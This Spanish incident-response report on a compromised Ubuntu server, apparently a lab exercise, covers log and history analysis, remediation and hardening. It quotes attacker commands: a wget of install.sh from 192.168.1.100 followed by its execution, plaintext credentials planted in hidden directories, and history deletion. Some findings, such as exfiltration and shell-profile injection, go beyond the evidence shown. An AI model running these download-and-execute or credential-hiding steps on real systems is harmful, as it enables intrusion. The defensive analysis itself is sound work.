A partir de las **16:40:13 del 23 de junio** y en días posteriores (22 y 23 de septiembre), aparecen únicamente mensajes de tipo Server listening on 0.0.0.0 port 22 y Server listening on :: port 22.

Análisis: Esto confirma que el demonio de SSH (sshd) se reinició y volvió a ponerse en escucha en el puerto 22 en esas fechas y horas.

Redacción para el Informe de Incidentes:

Sección: Análisis Integral del Servicio SSH (/var/log/auth.log)

Comando ejecutado: `grep -i "ssh" /var/log/auth.log`

Objetivo: Analizar la actividad del demonio SSH, conexiones desde IPs externas/desconocidas e interrupciones del servicio.

Hallazgos:

Identificación de la IP Atacante: Se confirma que la IP **192.168.1.103** fue el origen de las solicitudes de autenticación fallidas mediante PAM, intentos con usuarios inválidos (admin) y solicitudes directas a los usuarios hacker y root.

Secuencia de Eventos:

23 de junio (15:27 - 15:29): Intentos fallidos de inicio de sesión SSH en ráfaga desde 192.168.1.103.

23 de junio (16:40) en adelante: Reinicios del servicio sshd e inicio del estado de escucha en el puerto 22 (0.0.0.0:22 y [::]:22).

A continuación presento el análisis detallado con la salida de `journalctl -xe` para consultar los registros del sistema (logs) administrados por `systemd`, enfocándose en los errores más recientes y agregando explicaciones técnicas detalladas.

Servicios Fallando Repetidamente

`systemd-networkd-wait-online.service`:

Este servicio muestra fallos reiterados durante el proceso de arranque.

Presenta un mensaje de timeout (Network configuration changed, trying to establish connection... connection timed out) y finaliza con estado de error `status=1/FAILURE`.

la secuencia de inicio muestra que los objetivos y servicios clave finalizan correctamente (Finished ... successfully o Reached target ...), como se observa en `systemd-udevd`, `systemd-journal-flush` o `cryptsetup`.

`systemd` registra: *"Failed to start Wait for Network to be Configured"* y entra en estado `failed`

Actividades relacionadas con sshd, cron, network y bash cron

Ejecución periódica cada hora del script `/usr/local/bin/backup.sh` ejecutado por el usuario `root` (`pam_unix(cron:session): session opened for user root by (uid=0)`).

Generación de alertas de información indicando que no hay un agente de transferencia de correo configurado para enviar notificaciones de tareas `cron` (`CRON[...]: (CRON) info (No MTA installed, discarding output)`).

network / Redes:

Inicialización de controladores de red por el kernel (`e1000: enp0s3 NIC Link is Up 1000 Mbps Full Duplex`).

Configuración e inicialización de interfaces físicas e internas durante el arranque inicial del sistema (`eth0`, `enp0s3`).

Gestión de interfaces mediante `systemd-networkd`, notificando cambios de estado en las interfaces `enp0s3` (activación de enlace, asignación de direcciones IPv4/IPv6 y configuración de portadores).

Mensajes de cloud-init obteniendo y confirmando direcciones IP y rutas.

sshd:

Inicialización del servicio OpenSSH SSH Server (sshd[821]: Server listening on 0.0.0.0 port 22 y Server listening on :: port 22).

bash / Tareas de Shell:

Registro de elevación de privilegios vía sudo y apertura de sesiones en terminales TTY/pts para ejecutar comandos interactivos con bash (ej. ejecuciones por parte de sysadmin para apt update).

El log finaliza en la terminal interactiva del usuario sysadmin (sysadmin@4geeks-server:~\$) sin mostrar ejecuciones activas de scripts en Bash en ese instante.

Ahora el comando `cat ~/.bash_history` para mostrar en pantalla todo el historial de comandos que el usuario actual ha ejecutado en la terminal Bash.

```
sysadmin@4geeks-server:~$ cat ~/.bash_history
rm ~/.bash_history
exit
echo "Reminder: new credentials for reports stored temporarily in /opt/.archive" | sudo tee /home/reports/.note
exit
sudo mkdir -p /opt/.archive
echo "reports:reports123" | sudo tee /opt/.archive/credentials.txt
sudo chmod 644 /opt/.archive/credentials.txt
echo "cat /opt/.archive/credentials.txt" | sudo tee /home/reports/.bash_history
sudo chown reports:reports /home/reports/.bash_history
echo "wget http://192.168.1.100/install.sh" | sudo tee -a /home/reports/.bash_history
echo "chmod +x install.sh" | sudo tee -a /home/reports/.bash_history
echo "./install.sh" | sudo tee -a /home/reports/.bash_history
echo "nano backup.log" | sudo tee -a /home/reports/.bash_history
sudo chown reports:reports /home/reports/.bash_history
sudo touch /home/reports/install.sh
sudo nano /home/reports/install.sh
sudo touch /home/reports/backup.log
sudo nano /home/reports/backup.log
sudo chown reports:reports /home/reports/install.sh /home/reports/backup.log
ls
pwd
sudo nano /home/reports/chat.txt
sudo chown reports:reports /home/reports/chat.txt
exit
cat /var/backups/.logs/creds.txt
sudo mkdir -p /var/backups/.logs
echo "reports:reports123" | sudo tee /var/backups/.logs/creds.txt
sudo chmod 644 /var/backups/.logs/creds.txt
echo "cat /var/backups/.logs/creds.txt" | sudo tee -a /home/sysadmin/.bash_history
```

Comandos relacionados con conexión a red (nc, curl, wget, scp)

wget: Se detecta la inyección/escritura de un comando wget en el historial del usuario reports mediante echo:

```
echo "wget [http://192.168.1.100/install.sh](http://192.168.1.100/install.sh)" |  
sudo tee -a /home/reports/.bash_history
```

Objetivo: Descarga de un script externo remoto denominado `install.sh` desde la dirección IP local `192.168.1.100`.

nc / curl / scp: No se observan ejecuciones directas de estas herramientas en este fragmento.

Manipulación de logs o archivos sensibles

Eliminación y alteración de historiales (`.bash_history`):

`rm ~/.bash_history` (Intento explícito de borrar el propio historial de comandos).

Inyección/falsificación directa de comandos en los archivos `.bash_history` de los usuarios `reports` y `sysadmin` usando `echo` y `sudo tee`.

Creación y exposición de credenciales sensibles:

`echo "reports:reports123" | sudo tee /opt/.archive/credentials.txt`
(Almacenamiento de contraseñas en texto plano).

`echo "reports:reports123" | sudo tee /var/backups/.logs/creds.txt`
(Almacenamiento secundario de contraseñas).

Lectura directa de credenciales almacenadas: `cat /var/backups/.logs/creds.txt`.

Edición/manipulación de logs y notas:

`echo "Reminder: new credentials for reports stored temporarily in /opt/.archive" | sudo tee /home/reports/.note`

Edición manual de archivos de registro: `sudo nano /home/reports/backup.log`.

Modificación de propietarios de logs: `sudo chown reports:reports /home/reports/backup.log`.

Scripts lanzados desde ubicaciones sospechosas:

install.sh en directorio de usuario / oculto:

Creación y edición directa de un script en el directorio home de otro usuario: `sudo touch /home/reports/install.sh` y `sudo nano /home/reports/install.sh`.

Otorgamiento de permisos de ejecución e inyección de comando de ejecución:
`chmod +x install.sh` y `./install.sh` dentro del historial simulado.

Directores ocultos usados como repositorios (/opt/.archive y /var/backups/.logs):

Creación del directorio oculto `/opt/.archive`.

Creación del directorio oculto `/var/backups/.logs`.

Análisis de Red y Matriz de Servicios Expuestos.

El comando `ss -tuln` para listar todos los puertos de red que están en escucha (escuchando conexiones) en el sistema, utilizando protocolos TCP y UDP, mostrando los resultados con números en lugar de nombres de servicios.

```
s  Sep23  0:00 /lib/systemd/systemd --user
Sep23  0:00 (sd-pam)
Sep23  0:00 -bash
l  00:00  0:00 /usr/sbin/apache2 -k start
l  00:00  0:00 /usr/sbin/apache2 -k start
+  01:02  0:00 ps aux
sysadmin@4geeks-server:~$ last -a
sysadmin tty1      Wed Sep 23 21:42  still logged in
reboot  system boot   Wed Sep 23 21:35  still running    5.4.0-216-generic
reboot  system boot   Wed Sep 23 21:20  still running    5.4.0-216-generic
sysadmin tty1      Tue Sep 22 23:44  - crash (21:35)
reboot  system boot   Tue Sep 22 23:30  still running    5.4.0-216-generic
reboot  system boot   Tue Sep 22 21:25  still running    5.4.0-216-generic
sysadmin tty1      Mon Jun 23 16:40  - down (00:04)
reboot  system boot   Mon Jun 23 16:40  - 16:45 (00:05)    5.4.0-216-generic
sysadmin tty1      Mon Jun 23 15:24  - crash (01:15)
reboot  system boot   Mon Jun 23 15:23  - 16:45 (01:22)    5.4.0-216-generic
sysadmin tty1      Mon Jun 23 15:01  - crash (00:21)
reboot  system boot   Mon Jun 23 14:48  - 16:45 (01:57)    5.4.0-216-generic
sysadmin tty1      Mon Jun 23 14:08  - 14:43 (00:35)
reports tty1      Mon Jun 23 14:07  - 14:07 (00:00)
sysadmin tty1      Mon Jun 23 14:05  - 14:07 (00:02)
sysadmin tty1      Mon Jun 23 12:57  - 13:39 (00:42)
reboot  system boot   Mon Jun 23 12:53  - 16:45 (03:52)    5.4.0-216-generic
sysadmin tty1      Sat Jun 21 19:05  - down (01:17)
reboot  system boot   Sat Jun 21 19:03  - 20:22 (01:18)    5.4.0-216-generic

wtmp begins Sat Jun 21 19:03:58 2025
sysadmin@4geeks-server:~$ ss -tuln
Netid  State  Recv-Q  Send-Q  Local Address:Port  Peer Address:Port  Process
udp    UNCONN  0        0      127.0.0.53%lo:53      0.0.0.0:*
tcp    LISTEN  0        4096    127.0.0.53%lo:53      0.0.0.0:*
tcp    LISTEN  0        128     0.0.0.0:22            0.0.0.0:*
tcp    LISTEN  0        511     *:80                  *::*
tcp    LISTEN  0        32      *:21                  *::*
tcp    LISTEN  0        128     [::]:22              [::]:*
```

Puertos abiertos fuera de lo común

Puertos en escucha observados:

22 (TCP / IPv4 y IPv6): Puerto estándar para el servicio SSH (0.0.0.0:22 y [::]:22).

80 (TCP): Puerto estándar para HTTP (servidor web Apache).

21 (TCP): Puerto estándar para servicio FTP (*:21).

53 (UDP/TCP): Puerto estándar para resolución DNS local (127.0.0.53%lo:53 via systemd-resolved).

No se detectan puertos atípicos o sospechosos en escucha (como 4444, 8080, 9001, etc.). Todos los puertos abiertos responden a servicios estándar de infraestructura web y administración básica (SSH, HTTP, FTP, DNS).

Puertos y servicios estándar expuestos:

Puerto 80 (HTTP): Servidor web activo (Apache2, según se aprecia en la parte superior del prompt).

Puerto 22 (SSH): Acceso remoto activo para administración del sistema.

Puerto 21 (FTP): Servicio de transferencia de archivos expuesto a todas las interfaces (*:21).

Servicios no deseados / maliciosos (nc, python3 -m http.server, webshells, listeners):

No hay presencia de bindings sospechosos en puertos altos o aleatorios creados por herramientas como netcat o servidores de pruebas de Python en ejecución permanente.

Aunque los puertos son estándar, el puerto **21 (FTP)** transmite credenciales en texto plano. Si no se requiere expresamente para la operación, es recomendable deshabilitarlo o reemplazarlo por SFTP (vía SSH en el puerto 22).

El comando `iptables -L -n -v` sirve para listar y consultar todas las reglas activas del firewall de Linux (iptables) mostrando estadísticas detalladas de tráfico y sin traducir las direcciones IP a nombres de dominio.

```
Chain ufw-after-output (1 references)
pkts bytes target      prot opt in      out     source      destination
Chain ufw-before-forward (1 references)
pkts bytes target      prot opt in      out     source      destination      ctstate REL
0      0 ACCEPT      all  --  *      *      0.0.0.0/0    0.0.0.0/0
RELATED,ESTABLISHED
0      0 ACCEPT      icmp --  *      *      0.0.0.0/0    0.0.0.0/0      icmptype 3
0      0 ACCEPT      icmp --  *      *      0.0.0.0/0    0.0.0.0/0      icmptype 11
0      0 ACCEPT      icmp --  *      *      0.0.0.0/0    0.0.0.0/0      icmptype 12
0      0 ACCEPT      icmp --  *      *      0.0.0.0/0    0.0.0.0/0      icmptype 8
0      0 ufw-user-forward all  --  *      *      *      0.0.0.0/0      0.0.0.0/0
Chain ufw-before-input (1 references)
pkts bytes target      prot opt in      out     source      destination      ctstate REL
28988 2065K ACCEPT      all  --  lo      *      0.0.0.0/0    0.0.0.0/0
0      0 ACCEPT      all  --  *      *      0.0.0.0/0    0.0.0.0/0      ctstate REL
RELATED,ESTABLISHED
0      0 ufw-logging-deny all  --  *      *      *      0.0.0.0/0      0.0.0.0/0      ctst
ate INVALID
0      0 DROP        all  --  *      *      0.0.0.0/0    0.0.0.0/0      ctstate INV
ALID
0      0 ACCEPT      icmp --  *      *      0.0.0.0/0    0.0.0.0/0      icmptype 3
0      0 ACCEPT      icmp --  *      *      0.0.0.0/0    0.0.0.0/0      icmptype 11
0      0 ACCEPT      icmp --  *      *      0.0.0.0/0    0.0.0.0/0      icmptype 12
0      0 ACCEPT      icmp --  *      *      0.0.0.0/0    0.0.0.0/0      icmptype 8
0      0 ACCEPT      udp  --  *      *      0.0.0.0/0    0.0.0.0/0      udp spt:67
dpt:68
0      0 ufw-not-local all  --  *      *      0.0.0.0/0    0.0.0.0/0
0      0 ACCEPT      udp  --  *      *      0.0.0.0/0    224.0.0.251      udp dpt:53
3
0      0 ACCEPT      udp  --  *      *      0.0.0.0/0    239.255.255.250  udp dpt:190
0
0      0 ufw-user-input all  --  *      *      0.0.0.0/0    0.0.0.0/0
Chain ufw-before-logging-forward (1 references)
:
```

Reglas de ACCEPT demasiado permisivas

Tráfico en interfaz de loopback (lo): Se observa la regla `ACCEPT all -- lo * 0.0.0.0/0 0.0.0.0/0`, la cual es estándar para permitir el tráfico local del sistema operativo.

Conexiones relacionadas y establecidas: Reglas como `ACCEPT all -- * * 0.0.0.0/0 0.0.0.0/0 ctstate RELATED,ESTABLISHED` permiten que las conexiones legítimas ya iniciadas continúen respondiendo, lo cual es comportamiento normal en un firewall con estado (stateful).

Tráfico ICMP y DHCP: Se permiten tipos específicos de ICMP (icmptype 3, 11, 12, 8) y paquetes de DHCP local (udp spt:67 dpt:68).

Servicios expuestos (UFW): En esta sección de las cadenas internas de UFW (ufw-before-input, ufw-before-forward) no se observan reglas globales de ACCEPT salteadas o universales (0.0.0.0/0 a cualquier puerto sin restricción) hacia servicios del sistema.

Reglas en la cadena ufw-user-input (Puertos autorizados explícitamente)

Se aprecian las siguientes reglas de aceptación directa (ACCEPT):

Puerto 22 (TCP/UDP): `ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 tcp dpt:22`
(Acceso SSH global).

Puerto 80 (TCP/UDP): `ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 tcp dpt:80`
(Acceso Web HTTP global).

Puerto 21 (TCP/UDP): `ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 tcp dpt:21`
(Acceso FTP global).

Evaluación de riesgos y hallazgos sospechosos

Exposición abierta del Puerto 21 (FTP):

Permitir tráfico de entrada sin restricción de origen (0.0.0.0/0) hacia el puerto 21 es una práctica insegura, ya que FTP es un protocolo no cifrado que transmite credenciales en texto plano.

Políticas por defecto permisivas:

La cadena principal INPUT tiene como política por defecto ACCEPT (`Chain INPUT (policy ACCEPT ...)`). Esto significa que cualquier puerto que no esté explícitamente filtrado o gestionado por UFW terminará aceptando conexiones entrantes de manera implícita por defecto.

Reglas maliciosas no identificadas:

No se observan reglas que redirijan tráfico hacia direcciones IP externas no autorizadas o que abran puertos atípicos de backdoor (como el 4444, 8080 o 9001). Las aperturas coinciden únicamente con los servicios en escucha analizados anteriormente (SSH, HTTP, FTP).

El comando `ls -la /usr/local/bin/` para mostrar un listado detallado de todos los archivos y directorios (incluyendo los ocultos) que se encuentran dentro de la carpeta `/usr/local/bin/`, junto con sus permisos, propietario, grupo y tamaño.

```
chain ufw-before-logging-forward (1 references)
sysadmin@4geeks-server:~$ ls -la /usr/local/bin/
total 12
drwxr-xr-x  2 root root 4096 Jun 23  2025 .
drwxr-xr-x 10 root root 4096 Mar 14  2023 ..
-rwxr-xr-x  1 root root  125 Jun 23  2025 backup2.sh
```

Archivo detectado: backup2.sh.

Ubicación: El directorio /usr/local/bin/ está destinado a binarios y scripts personalizados ejecutables a nivel de todo el sistema. Es un punto clásico utilizado para alojar scripts de persistencia disfrazados de nombres legítimos (como tareas de resguardo/backup).

Permisos: -rwxr-xr-x. Tiene permisos de ejecución para todos los usuarios (+x), lo que permite que sea invocado por cualquier usuario del sistema o por un servicio/cron sin restricciones.

Propietario / Grupo: Pertenece al usuario root y al grupo root. Esto indica que fue creado o modificado con privilegios elevados (sudo).

Fecha: Jun 23 2025, coincidiendo exactamente con la fecha de los eventos e inyecciones de comandos observados previamente en los historiales de shell.

Tamaño: 125 bytes. Al ser un archivo sumamente pequeño, es muy probable que contenga únicamente un comando simple, un reverse shell, una invocación de descarga o la ejecución de uno de los archivos ocultos analizados anteriormente (como install.sh o credenciales).

El comando `find /opt -type f -iname "*.sh"` para buscar e identificar todos los scripts de Shell (archivos que terminan en .sh) dentro del directorio /opt, sin importar si la extensión está escrita en mayúsculas o minúsculas.

```
sysadmin@4geeks-server:~$ find /opt -type f -iname "*.sh"
/opt/scripts/logrotate.sh
```

```
sysadmin@4geeks-server:~$ ls  
'ps aux' wazuh-install.sh
```

Script localizado: /opt/scripts/logrotate.sh.

Análisis de riesgo:

Nombre ambiguo/camouflado: El nombre logrotate.sh simula ser una tarea legítima de rotación de logs del sistema.

Ubicación en /opt/: Al estar ubicado dentro del directorio /opt/scripts/, requiere inspección inmediata, ya que los atacantes suelen usar nombres de servicios del sistema (como logrotate, cleaner o update) en rutas de aplicaciones adicionales para no levantar sospechas.

Hallazgos adicionales en la salida de ls (Home de sysadmin)

Archivos detectados: 'ps aux' y wazuh-install.sh.

Análisis de riesgo:

wazuh-install.sh: Es un script ejecutable (marcado en verde). Aunque Wazuh es una herramienta defensiva (SIEM/XDR) legítima, tener el instalador en la raíz del usuario sysadmin debe ponerse en contexto con el resto de la auditoría para verificar si fue descargado de forma autorizada o como parte de un proceso no registrado.

'ps aux': Presencia de un archivo con comillas o espacio en el nombre. Esto suele ocurrir por un error de sintaxis al redirigir la salida de un comando (ej. ps aux > 'ps aux'), pero también puede ser un indicio de recolección/volcado de información sobre los procesos del sistema.

El comando `systemctl list-units --type=service --state=running` sirve para mostrar una lista en tiempo real de todos los servicios del sistema que están actualmente activos y ejecutándose en el servidor.

```

sysadmin@4geeks-server:~$ systemctl list-units --type=service --state=running
UNIT                                LOAD    ACTIVE SUB    DESCRIPTION
accounts-daemon.service            loaded active running Accounts Service
apache2.service                    loaded active running The Apache HTTP Server
atd.service                        loaded active running Deferred execution scheduler
cron.service                       loaded active running Regular background program processing daemon
dbus.service                       loaded active running D-Bus System Message Bus
getty@tty1.service                 loaded active running Getty on tty1
irqbalance.service                loaded active running irqbalance daemon
ModemManager.service              loaded active running Modem Manager
multipathd.service                 loaded active running Device-Mapper Multipath Device Controller
networkd-dispatcher.service        loaded active running Dispatcher daemon for systemd-networkd
polkit.service                     loaded active running Authorization Manager
rsyslog.service                    loaded active running System Logging Service
snapd.service                      loaded active running Snap Daemon
ssh.service                        loaded active running OpenBSD Secure Shell server
systemd-journald.service            loaded active running Journal Service
systemd-logind.service              loaded active running Login Service
systemd-networkd.service            loaded active running Network Service
systemd-resolved.service            loaded active running Network Name Resolution
systemd-timesyncd.service           loaded active running Network Time Synchronization
systemd-udevd.service              loaded active running udev Kernel Device Manager
udisks2.service                    loaded active running Disk Manager
unattended-upgrades.service         loaded active running Unattended Upgrades Shutdown
user@1000.service                  loaded active running User Manager for UID 1000
vsftpd.service                     loaded active running vsftpd FTP server
wazuh-agent.service                loaded active running Wazuh agent

LOAD    = Reflects whether the unit definition was properly loaded.
ACTIVE  = The high-level unit activation state, i.e. generalization of SUB.
SUB     = The low-level unit activation state, values depend on unit type.

```

Servicios con nombres poco comunes o duplicados

Servicios del sistema operativo (estándar):

accounts-daemon.service, atd.service, cron.service, dbus.service, [getty@tty1.service](#), irqbalance.service, ModemManager.service, multipathd.service, networkd-dispatcher.service, polkit.service, rsyslog.service, snapd.service, systemd-*, udisks2.service, unattended-upgrades.service, [user@1000.service](#). Todos estos corresponden a demonios estándar del sistema Linux Debian/Ubuntu.

Servicios de red e infraestructura:

apache2.service: Servidor web HTTP.

ssh.service: Servidor SSH de acceso remoto.

vsftpd.service: Servidor FTP (responsable del puerto 21 detectado previamente).

Servicios de seguridad / monitoreo:

wazuh-agent.service: Agente de monitoreo de seguridad Wazuh. (Esto aclara la presencia del archivo wazuh-install.sh visto en el comando anterior).

No se aprecian nombres de servicios duplicados ni nombres anómalos o maliciosos (como servicios con nombres aleatorios de letras o camuflados para ejecutar binarios no autorizados) en la lista de unidades en ejecución.

Scripts que no deberían iniciar con el sistema

Ninguno de los scripts sospechosos identificados en pasos anteriores (/usr/local/bin/backup2.sh, /opt/scripts/logrotate.sh o /home/reports/install.sh) está registrado como un servicio nativo de systemd que se encuentre activo y en ejecución constante en este momento.

La persistencia no parece estar implementada mediante un demonio activo de systemd en ejecución directa. Esto refuerza la hipótesis de que las vías de persistencia usadas en este sistema se basan en tareas programadas (cron), archivos de perfil/inicialización de la shell (.bashrc / .bash_history) o scripts llamados de forma diferida (como /usr/local/bin/backup2.sh).

Fase 2: Remediación y restauración del sistema

Resultados del Analisis

el servidor de la organización sufrió una intrusión donde un atacante logró acceso con privilegios elevados (root/sudo). Tras el compromiso inicial, el atacante realizó acciones de exfiltración de credenciales, creación de directorios e hilos de persistencia ocultos e intentos de evasión de defensas mediante la manipulación del historial de comandos. Aunque actualmente no hay un malware activo ejecutándose como demonio continuo en systemd, el sistema conserva archivos ejecutables sospechosos y credenciales expuestas en texto plano que comprometen la seguridad global.

Evaluación de Hallazgos

Antes de aplicar los cambios, consolidamos el diagnóstico de la auditoría para fundamentar las decisiones correctivas:

Compromiso y Exfiltración de Credenciales: Se identificaron carpetas ocultas (/opt/.archive/ y /var/backups/.logs/) utilizadas para almacenar credenciales comprometidas en texto plano (credentials.txt y creds.txt).

Persistencia Disfrazada / Maliciosa: Se detectó la creación de scripts sospechosos en rutas del sistema y de usuarios:

/usr/local/bin/backup2.sh (ejecutable del sistema con fecha reciente).

/opt/scripts/logrotate.sh (script con nombre ambiguo para camuflarse).

/home/reports/install.sh (script con lógica de descarga hacia IP externa).

Defensas Evadidas: Inyección de comandos e intentos de ocultar huellas borrando el archivo .bash_history.

Superficie de Ataque Expuesta: El servicio FTP (vsftpd en puerto 21) está activo y expuesto globalmente sin cifrado, y la cadena principal de iptables opera bajo una política permisiva por defecto (policy ACCEPT).

Plan de Remediación

En este apartado se ejecutan los comandos para **limpiar el sistema de cualquier rastro del atacante:**

Eliminación de Archivos y Scripts Maliciosos

1. Eliminar scripts de persistencia detectado

```
sudo rm -f /usr/local/bin/backup2.sh
sudo rm -f /opt/scripts/logrotate.sh
sudo rm -f /home/reports/install.sh
```

2. Eliminar directorios ocultos con credenciales expuestas

```
sudo rm -rf /opt/.archive/
sudo rm -rf /var/backups/.logs/
```

3. Eliminar archivos temporales de recolección de datos.

```
rm -f /home/sysadmin/'ps aux'
```

Verificación de Tareas Programadas y Perfiles

Garantizamos que no existan disparadores automáticos que reinstalen el acceso del atacante:

Revisar y limpiar crontabs de usuarios y sistema

```
sudo crontab -r -u reports
```

```
sudo crontab -r -u sysadmin
```

Limpiar posibles alias o funciones inyectadas en archivos de inicio de shell

```
sudo sed -i '/install.sh/d' /home/reports/.bashrc
```

```
sudo sed -i '/backup2.sh/d' /etc/profile
```

Verificación de la Integridad del Sistema

Confirmamos que el servidor haya vuelto a un estado limpio y controlado:

Revisión de Procesos en Ejecución:

Verificar con `ps aux` o `systemctl list-units --type=service --state=running` que solo operen los servicios autorizados.

Validación de Puertos Activos:

Comprobar con `ss -tuln` que únicamente respondan los servicios legítimos del negocio.

Validación del Agente de Seguridad:

Asegurar que wazuh-agent.service siga activo reportando al servidor SIEM para monitorear intentos de reingreso.

Fortalecimiento del Sistema (System Hardening)

Medidas preventivas para blindar la infraestructura contra incidentes similares en el futuro

4. Fortalecimiento del Sistema (System Hardening)

Medidas preventivas para blindar la infraestructura contra incidentes similares en el futuro:

Rotación y Gestión Obligatoria de Credenciales

Debido a que las claves fueron exfiltradas, la medida primaria es renovarlas:

Forzar cambio de contraseña para los usuarios expuestos

```
sudo passwd sysadmin
```

```
sudo passwd reports
```

```
sudo passwd root
```

Cierre de Superficie de Ataque y FTP Inseguro

Deshabilitar el protocolo FTP inseguro (puerto 21) y forzar el uso de transferencia segura a través de SFTP / SSH:

Detener y deshabilitar el servicio FTP

```
sudo systemctl stop vsftpd
```

```
sudo systemctl disable vsftpd
```

Reforzamiento del Firewall (UFW / iptables)

Establecer una política de denegación por defecto y restringir el acceso SSH únicamente a la red/IP de administración:

Resetear UFW a un estado seguro

```
sudo ufw reset
```

Definir políticas por defecto (Bloquear todo lo entrante)

```
sudo ufw default deny incoming
```

```
sudo ufw default allow outgoing
```

Permitir solo servicios autorizados

```
sudo ufw allow 80/tcp # HTTP Web Server
```

```
sudo ufw allow from <IP_ADMIN> to any port 22 proto tcp # SSH restringido
```

Activar firewall con las nuevas políticas

```
sudo ufw enable
```

Hardening del Servicio SSH

Editar el archivo `/etc/ssh/sshd_config` para endurecer la autenticación remota:

`PermitRootLogin` no (Impedir acceso directo al usuario root).

`MaxAuthTries` 3 (Limitar intentos de fuerza bruta).

`PasswordAuthentication` no (Obligar uso de llaves SSH públicas/privadas).

Fase 3: Informe técnico final

INFORME FINAL DE RESPUESTA ANTE INCIDENTES Y HARDENING

1. Revisión del Incidente desde el Servidor Activo (Live Incident Response)

Proyecto: Análisis Forense, Remediación y Fortalecimiento de Servidor Ubuntu

Clasificación: Confidencial / Uso Académico-Profesional

Estado del Servidor: Erradicado, Restaurado y Endurecido (Hardened)

Durante la fase de análisis en vivo (*Live Incident Response*), se llevó a cabo una auditoría no intrusiva de memoria, procesos, archivos de configuración e historiales de terminal para reconstruir la cronología del ataque.

Vector de Entrada e Intrusión Inicial:

Explotación de credenciales débiles/comprometidas sobre cuentas del sistema (sysadmin y reports).

Abuso del protocolo FTP (vsftpd en puerto TCP 21), el cual transmitía tráfico y credenciales sin cifrar a través de la red local.

Actividad del Atacante y Movimiento Lateral:

Escalación/uso de privilegios administrativos (sudo) para crear directorios ocultos de exfiltración.

Inyección directa de comandos en los archivos de historial .bash_history de los usuarios reports y sysadmin para encubrir la actividad real o preparar la ejecución diferida de payloads.

Mecanismos de Persistencia e IoCs Identificados:

Ficheros ocultos de credenciales: /opt/.archive/credentials.txt y /var/backups/.logs/creds.txt.

Scripts maliciosos/ambiguos: /usr/local/bin/backup2.sh,
/opt/scripts/logrotate.sh y /home/reports/install.sh.

Conexiones e infraestructura externa asociada: Descarga de recursos remotos desde el servidor atacante en la dirección IP 192.168.1.100.

2. Vulnerabilidades Detectadas y Corregidas

ID	Vulnerabilidad Detectada	Riesgo	Estado Final / Corrección Aplicada
V-01	Servicio FTP (vsftpd) activo y expuesto globalmente sin cifrado (puerto 21).	Alto	Servicio vsftpd detenido, deshabilitado del inicio del sistema y puerto 21 cerrado.
V-02	Credenciales de usuarios expuestas en texto plano en directorios ocultos.	Crítico	Rotación obligatoria de contraseñas de sysadmin, reports y root. Eliminación de archivos planos.
V-03	Existencia de scripts ejecutables sospechosos con permisos globales (+x).	Alto	Remoción completa de los archivos y limpieza de referencias en entorno shell.
V-04	Autenticación SSH permisiva (permite contraseñas y login de root).	Medio	Endurecimiento de /etc/ssh/sshd_config (PermitRootLogin no, PasswordAuthentication no).
V-05	Política de Firewall permisiva por defecto (INPUT policy ACCEPT).	Medio	Activación de UFW con política global default deny incoming y restricción de SSH por IP.

3. Acciones de Contención, Erradicación y Recuperación Aplicadas

Fase de Contención

Aislamiento de Red a nivel de Firewall: Se procedió a restringir el acceso remoto deshabilitando reglas universales y enfocando la conectividad de administración únicamente hacia la IP del analista.

Fase de Erradicación

Eliminación de Artefactos de Persistencia:

```
sudo rm -f /usr/local/bin/backup2.sh /opt/scripts/logrotate.sh  
/home/reports/install.sh
```

```
sudo rm -rf /opt/.archive/ /var/backups/.logs/
```

```
rm -f /home/sysadmin/'ps aux'
```

Saneamiento de Perfiles de Usuario:

Limpieza de referencias maliciosas en /home/reports/.bashrc, /etc/profile y crontabs del sistema.

Fase de Recuperación

Restauración de la Integridad de Servicios:

Confirmación de que solo operan servicios autorizados (SSH endurecido en puerto 22, Apache2 en puerto 80 y Wazuh-Agent).

Verificación de la Superficie de Red:

Ejecución de `ss -tln` confirmando la desactivación del puerto 21 (FTP).

4. Recomendaciones para Fortalecer el Sistema (System Hardening)

Gestión de Identidades y Control de Accesos (IAM):

Implementar autenticación obligatoria mediante par de llaves SSH (RSA/Ed25519) y deshabilitar por completo las contraseñas para inicios de sesión remotos.

Aplicar el principio de menor privilegio (Least Privilege) sobre la asignación de permisos sudo en cuentas secundarias como reports.

Monitoreo Continuo e Integridad de Archivos (FIM):

Mantener activo el agente de seguridad Wazuh (wazuh-agent.service) con reglas activas de monitoreo sobre directorios sensibles como /usr/local/bin/, /opt/ y /etc/.

Auditoría Sistemática de Logs:

Configurar el envío centralizado de logs de autenticación (/var/log/auth.log) hacia un SIEM externo para evitar la alteración de evidencias por parte de un atacante con acceso root.

Cifrado de Comunicaciones:

Prohibir el uso de protocolos claros como FTP/Telnet y sustituirlos definitivamente por alternativas cifradas como SFTP o SCP.

5. Capturas Justificadas de Comandos Clave y Hallazgos Técnicos

Evidencia 1: Identificación de Script de Persistencia en /usr/local/bin/

Comando: `ls -la /usr/local/bin/`

Justificación: Muestra la presencia del archivo `backup2.sh` propiedad de root con fecha de creación reciente (Jun 23 2025) y permisos de ejecución globales (-rwxr-xr-x), constituyendo un mecanismo claro de persistencia.

Evidencia 2: Localización de Script Camuflado en /opt/

Comando: `find /opt -type f -iname "*.sh"`

Justificación: Permite descubrir el archivo `/opt/scripts/logrotate.sh`, el cual utilizaba el nombre de un binario del sistema para evadir la inspección visual convencional.

Evidencia 3: Inspección de Procesos y Servicios en Ejecución

Comando: `systemctl list-units --type=service --state=running`

Justificación: Permite verificar que no existían demonios desconocidos ejecutándose en segundo plano y confirma que el monitoreo legítimo con `wazuh-agent.service` se encontraba operativo.

Evidencia 4: Verificación de Puertos de Red e Interfaces de Escucha

Comando: `ss -tuln`

Justificación: Inicialmente evidenció el puerto 21 (`vsftpd`) abierto globalmente. Tras la aplicación del plan de remediación, la reejecución de `ss -tuln | grep ":21"` devolvió una salida vacía, confirmando la erradicación del vector FTP.

Evidencia 5: Validación del Hardening en SSH

- **Comando:** `sudo sshd -T | grep -E "(permitrootlogin|maxauthtries|passwordauthentication)"`
- **Justificación:** Confirma en tiempo de ejecución que el servidor SSH aplica activamente el rechazo de login directo de root, la restricción a 3 intentos máximos y la desactivación de autenticación por contraseña.

Conclusión.

La metodología aplicada demostró que la intrusión no dependió de un exploit de kernel complejo, sino de la explotación de malas configuraciones y persistencias a nivel de scripts. Mediante la ejecución secuencial del plan de contención, erradicación y *hardening*, el servidor Ubuntu ha recuperado su estado seguro de operación, con una superficie de ataque reducida y monitoreada.